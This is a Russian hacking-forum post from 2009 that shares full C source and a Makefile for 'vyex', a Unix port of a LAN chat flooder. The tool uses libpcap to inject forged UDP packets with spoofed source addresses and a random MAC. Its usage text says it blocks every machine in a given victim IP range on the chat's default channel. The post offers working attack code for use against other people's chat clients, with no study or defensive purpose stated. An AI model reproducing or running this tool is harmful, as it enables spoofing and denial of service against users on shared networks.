ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
 
 
Опции темы Поиск в этой теме Опции просмотра

vyex for Unix
  #1  
Старый 02.05.2009, 00:34
hdkeeper
Новичок
Регистрация: 07.04.2009
Сообщений: 2
Провел на форуме:
3980

Репутация: 0
Post vyex for Unix

Флудер vyex, адаптированный для запуска на юникс-системах. Требует libpcap. Сборка проверялась на FreeBSD 7.1 и Debian Linux Etch.

Makefile
Код:
vyex: vyex.c
	gcc -lpcap vyex.c -o vyex
vyex.c
Код:
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <unistd.h> 
#include <signal.h>
#include <time.h> 
#include <pcap.h>

#define DWORD	unsigned long

#define LENHDRETH 14 
#define LENHDRIP 20 
#define LENHDRUDP 8 

#ifndef IP_HDRINCL
#define IP_HDRINCL      2 /* header is included with data */
#endif

typedef struct eth_hdr_struct
{
    unsigned char dst[6];
    unsigned char src[6];
    unsigned short ftype;
} eth_hdr;

typedef struct ip_header_struct
{ 
	unsigned char      version; 
	unsigned char      tos; 
	unsigned short int length; 
	unsigned short int id; 
	unsigned short int fragoff; 
	unsigned char      ttl; 
	unsigned char      protocol; 
	unsigned short int checksum; 
	unsigned long  int src; 
	unsigned long  int dest; 
} ip_header;

typedef struct udp_header_struct
{ 
	unsigned short int sport; 
	unsigned short int dport; 
	unsigned short int length; 
	unsigned short int checksum; 
} udp_header;

#define VYPORT 8167 

int msglen = 21;
//int sock; 
struct sockaddr_in remote_addr; 
unsigned char *msg; 
unsigned char *packet; 
unsigned long src,dst; 
int lenippacket; 
int interval; 
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE]={0};

unsigned short ip_checksum(unsigned short *buffer, int size)
{
    unsigned long cksum=0;
    while (size > 1){cksum += *buffer++;size  -= sizeof(unsigned short);   }
    if (size)cksum += *(unsigned char*)buffer;   
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16); 
    return (unsigned short)(~cksum); 
}

unsigned short udp_checksum( DWORD src_ip, DWORD dst_ip, udp_header *udp)
{
	unsigned long sum = 0;

	unsigned short len = udp->length;
	sum += src_ip >> 16;
	sum += src_ip & 0xffff;
	sum += dst_ip >> 16;
	sum += dst_ip & 0xffff;
	sum += IPPROTO_UDP << 8;
	sum += len;
	
	len = ntohs(len);
	unsigned short *s = (unsigned short *)udp;
	while (len > 1) 
	{
		sum += *s;
		s++;
		len -= 2;
	}
	if (len)
		sum += *(unsigned char *)s;

	sum  = (sum & 0xffff) + (sum >> 16);
	sum  = (sum & 0xffff) + (sum >> 16);
	
	return (unsigned short)(~sum);
}


unsigned char src_mac[6];// = {rand()%256,rand()%256,rand()%256,rand()%256,rand()%256,rand()%256};

int conn() 
{ 
	eth_hdr *ethh = (eth_hdr *) packet;
	ip_header *iph = (ip_header*) (packet+LENHDRETH);
	udp_header *udph = (udp_header*) (packet+LENHDRETH+LENHDRIP); 

    memset(ethh->dst,0xff,6);
	memcpy(ethh->src,src_mac,6);
	ethh->ftype = 0x0008;

	memset(iph,0,LENHDRIP);
	memset(udph,0,LENHDRUDP);

	iph->version=0x45; 
	iph->length=htons(lenippacket); 
	iph->id=htons(VYPORT); 
	iph->ttl=0xff; 
	iph->protocol=IPPROTO_UDP; 
	iph->src=src; 
	iph->dest=dst; 
	iph->checksum=0;	

	udph->sport=htons(VYPORT); 
	udph->dport=htons(VYPORT); 
	udph->length=htons(lenippacket-LENHDRIP); 
	udph->checksum=0; 
	
	iph->checksum = ip_checksum( (unsigned short *) iph, sizeof(ip_header));
	udph->checksum = udp_checksum( src, dst, udph);//!!!

	return 0; 
} 

int send_() 
{ 
	if (pcap_inject( adhandle, packet, sizeof(eth_hdr)+lenippacket) == -1) {
		fprintf( stderr, "Error sending the packet: '%s'\n", pcap_geterr(adhandle));
		return -1;
	}
	return 0;
} 

void usage() 
{ 
	printf("USAGE:    vyex ether_iface victims_ip_start victims_ip_end dest_ip [interval] [channel] [timeout]\n"); 
	printf("EXAMPLE1: vyex eth0 192.168.197.100 192.168.197.200 192.168.197.255\n"); 
	printf("EXAMPLE2: vyex eth0 192.168.197.100 192.168.197.200 255.255.255.255\n"); 
	printf("Will block all machines with IPs 192.168.197.100..192.168.197.200 on subnet 192.168.197.255 with default interval=100 msec and channel=#Main\n"); 
	printf("Note that sometimes broadcast 255.255.255.255 is works, but sometimes you should specify your subnet's broadcast address as destination\n"); 
	printf("vyex -l will list all existing interfaces\n\n"); 
	printf("vyex based on Vcban by beef. Have phun! beef7@yandex.ru\n");
	printf("Unix port by Keeper - nd_keeper@mail.ru\n");
} 

void check_priv() {
	if (geteuid() != 0) {
		printf( "You should have root priviledges.\n");
		exit(2);
	}
}

void devlist()
{
	pcap_if_t *alldevs, *dev;
	char errbuf[PCAP_ERRBUF_SIZE];
	
	check_priv();
	if (pcap_findalldevs( &alldevs, errbuf) != 0) {
		fprintf( stderr, "pcap_findalldevs(): %s\n", errbuf); 
		return;
	}
	printf( "%8s  %-15s\n", "iface", "IP-address");
	for (dev = alldevs; dev != NULL; dev = dev->next) {
		pcap_addr_t *addr;
		char *ip_addr = "NONE";
		for (addr = dev->addresses; addr != NULL; addr = addr->next) {
			struct sockaddr *dev_addr = addr->addr;
			if ((dev_addr != NULL) && (dev_addr->sa_family == PF_INET)) {
				ip_addr = (char*) inet_ntoa( ((struct sockaddr_in *) dev_addr)->sin_addr);
				break;
			}
		}
		printf( "%8s  %-15s\n", dev->name, ip_addr);
	}
	pcap_freealldevs( alldevs);
}

void sig_exit( int signal) {
	printf( "\nvyex terminated.\n");
	exit(0);
}


int main( int argc, char **argv) 
{ 
	printf("\nvyex started...\n"); 
	if ((argc == 2) && (strcmp( argv[1], "-l") == 0)) {
		printf( "Dumping local interfaces...\n");
		devlist();
		return 0;
	}
	char chan[256]={0};

	if (argc<5) {
		usage();
		return 0;
	}
	
	if (argc>5) {
		interval=atoi(argv[5]);
	} else {
		interval=100;
	}
	printf( "Interval set to %d milliseconds...\n",interval);

	if (argc>6) {
		strncpy(chan,argv[6],255);
	} else {
		strcpy(chan,"#Main");		
	}
	int chanlen = strlen(chan);
	printf( "Channel set to %s...\n",chan);
	
	if (argc>7) {
		int timeout = atoi( argv[7]);
		signal( SIGALRM, &sig_exit);
		alarm( timeout);
		printf( "Timeout set to %d seconds...\n", timeout);
	}
	
	check_priv();
	adhandle = pcap_open_live( argv[1], 65536, 0, 1000, errbuf);
	if (adhandle == NULL) {
		fprintf( stderr, "pcap_open_live(): %s\n", errbuf);
		return 1;
	}
	//pcap_setbuff (adhandle, 1024*1024);

	msglen = 16+chanlen;
	lenippacket=LENHDRIP+LENHDRUDP+msglen; 

	srand(time(NULL)); 
	packet = (unsigned char *) malloc(LENHDRETH+lenippacket); 
	DWORD src_first = inet_addr(argv[2]); //aton
	DWORD src_last  = inet_addr(argv[3]); //aton
	dst = inet_addr(argv[4]); //aton
	src_mac[0] = 1+(rand()%0xfe);
	src_mac[1] = 1+(rand()%0xfe);
	src_mac[2] = 1+(rand()%0xfe);
	src_mac[3] = 1+(rand()%0xfe);
	src_mac[4] = 1+(rand()%0xfe);
	src_mac[5] = 1+(rand()%0xfe);
	
	while (1) 
	{  
		printf("SENDING");
		fflush( stdout);
		for (src = src_first;;)
		{
			memset(packet, 0, lenippacket); 
			msg=packet+LENHDRETH+LENHDRIP+LENHDRUDP; 
			msg[0]='X'; 
			int x; 
			for(x=1;x!=10;x++)msg[x]=0x30+rand()%10; 
			msg[10]='2'; 
			
			strcpy((char*)msg+11,chan);//"#Main"); 
			memcpy(msg+11+chanlen,"\0/\0!\0",5);
			/*msg[11+chanlen]='\0'; 
			msg[11+chanlen+1]='/'; 
			msg[11+chanlen+2]='\0'; 
			msg[11+chanlen+3]='!'; 
			msg[11+chanlen+4]='\0'; */
			
			struct in_addr in;
			in.s_addr = src;
			printf(".");
			fflush( stdout);
			if (conn()  == -1) return -1; 
			if (send_() == -1) return -2;
			if (src==src_last) break;
			src = htonl(ntohl(src)+1);
			usleep( interval*1000); 
		}
		printf("Cycle OK!\n"); 
		//
	} 
	return 0;
}
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
GUI для Viex (бан и флуд в общем чате - в вайперсе) A.Smith Чаты 3 15.02.2009 16:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ